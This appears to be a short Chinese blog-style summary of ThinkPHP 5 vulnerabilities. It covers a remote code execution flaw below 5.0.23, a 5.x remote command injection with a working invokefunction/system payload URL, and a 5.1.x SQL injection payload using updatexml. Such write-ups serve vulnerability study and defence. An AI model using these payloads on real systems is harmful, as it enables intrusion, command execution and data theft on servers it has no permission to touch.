目录
前言
一、远程代码执行漏洞
1.1 影响范围
1.2 漏洞详情
二、5.x远程命令注入
三、5.1.x SQL注入
前言
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
一、远程代码执行漏洞
1.1 影响范围
thinkphp<5.0.23
1.2 漏洞详情
这个版本中因为method方法没有准确处理变量名,导致可以在request方法中构造参数执行系统命令
二、5.x远程命令注入
由于没有开启强制路由,未对路由的控制器进行过滤,导致远程命令执行。
payload :
http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
三、5.1.x SQL注入
由于服务器处理order by的参数时,未对数组进行过滤,若传入的参数为数组,则会导致漏洞产生
payload:
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`